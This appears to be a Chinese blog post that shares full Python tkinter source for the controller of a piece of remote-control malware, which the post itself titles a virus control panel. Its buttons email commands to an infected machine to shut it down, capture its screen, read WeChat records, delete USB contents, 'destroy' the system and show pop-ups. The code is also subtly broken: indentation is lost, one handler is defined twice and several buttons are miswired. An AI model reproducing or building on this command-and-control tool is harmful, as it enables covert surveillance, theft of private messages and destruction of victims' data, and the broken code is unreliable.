七夕快乐!控制端来了,有兴趣的朋友可以试着用beeware做手机控制端,这个是用tkinter做的电脑端
不多说了,源码来啦
import email
import email.header
import imaplib
from bs4 import BeautifulSoup
import os
import time
import re
import tkinter.messagebox
from tkinter import *
import cv2
from PIL import ImageGrab
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formataddr
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import tkinter as tk
import tkinter
import tkinter as ttk
from tkinter import messagebox,ttk,filedialog
from email.mime.application import MIMEApplication
from email.header import Header
from PIL import Image, ImageTk, ImageSequence
mail_host = ''
mail_user = ''
mail_pass = ''
sender = ''
receivers = ['']
window = tk.Tk()
window.title('病毒控制电脑端')
window.geometry("400x500")
canvas = Canvas(window,width=400, height=500,bg='white')
canvas.pack()
img=[]
def pick(event):
global a,flag
while True:
im = Image.open('2.gif')
iter = ImageSequence.Iterator(im)
for frame in iter:
pic=ImageTk.PhotoImage(frame)
canvas.create_image((100,150), image=pic)
time.sleep(0.1)
window.update_idletasks()
window.update()
canvas.bind("",pick)
on_hit = False
def hit_me():
global on_hit
if on_hit == False:
on_hit = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '关闭'
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_hit = False
on_a = False
def hit_a():
global on_a
if on_a == False:
on_a = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '观察'
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_a = False
on_d = False
def hit_d():
global on_d
if on_d == False:
tkinter.messagebox.showinfo('警告','你确定要执行此命令吗?')
on_d = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '毁灭'
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_d = False
on_b = False
def hit_b():
aa = name_input.get()
print(aa)
global on_b
if on_b == False:
on_b = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '9527'+aa
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_b = False
on_c = False
def hit_c():
ab = name.get()
print(ab)
global on_c
if on_c == False:
on_c = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '2795'+ab
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_c = False
on_d = False
def hit_d():
global on_d
if on_d == False:
on_d = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '查看微信'
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_d = False
on_e = False
def hit_e():
global on_e
if on_e == False:
on_e = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '继续'
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_e = False
on_f = False
def hit_f():
global on_f
if on_f == False:
on_f = True
message = MIMEText('content','plain','utf-8')
message['Subject'] = '删除U盘'
message['From'] = sender
message['To'] = receivers[0]
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host,25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(
sender,receivers,message.as_string())
smtpObj.quit()
tkinter.messagebox.showinfo('提示','指令发送完成')
time.sleep(0.1)
except smtplib.SMTPException as e:
print('error',e)
tkinter.messagebox.showerror('提示','指令发送失败,请检查网络连接')
time.sleep(0.1)
else:
on_f = False
a = tk.Button(window, text='关机', bg='black', fg='white', font=('Arial', 12), width=6, height=1, command=hit_me).place(x=180,y=0)
b = tk.Button(window, text='查看', bg='black', fg='white', font=('Arial', 12), width=6, height=1, command=hit_a).place(x=180,y=50)
e = tk.Button(window, text='毁灭', bg='black', fg='red', font=('Arial', 12), width=6, height=1, command=hit_d).place(x=180,y=100)
f = tk.Button(window, text='vx记录', bg='black', fg='white', font=('Arial', 12), width=6, height=1, command=hit_d).place(x=180,y=150)
g = tk.Button(window, text='继续', bg='black', fg='blue', font=('Arial', 12), width=6, height=1, command=hit_e).place(x=180,y=200)
h = tk.Button(window, text='删除U盘', bg='black', fg='white', font=('Arial', 12), width=6, height=1, command=hit_e).place(x=180,y=250)
c = tk.Button(window, text='弹窗1', bg='black', fg='white', font=('Arial', 12), width=6, height=1, command=hit_b).place(x=180,y=300)
name_input = tk.Entry(window,width='40')
name_input.place(x=20,y=350,anchor='nw')
d = tk.Button(window, text='弹窗2', bg='black', fg='white', font=('Arial', 12), width=6, height=1, command=hit_c).place(x=180,y=380)
name = tk.Entry(window,width='40')
name.place(x=20,y=430,anchor='nw')
window.mainloop()
gif文件需要自行准备
预告一下,下一期是微信自动回复工具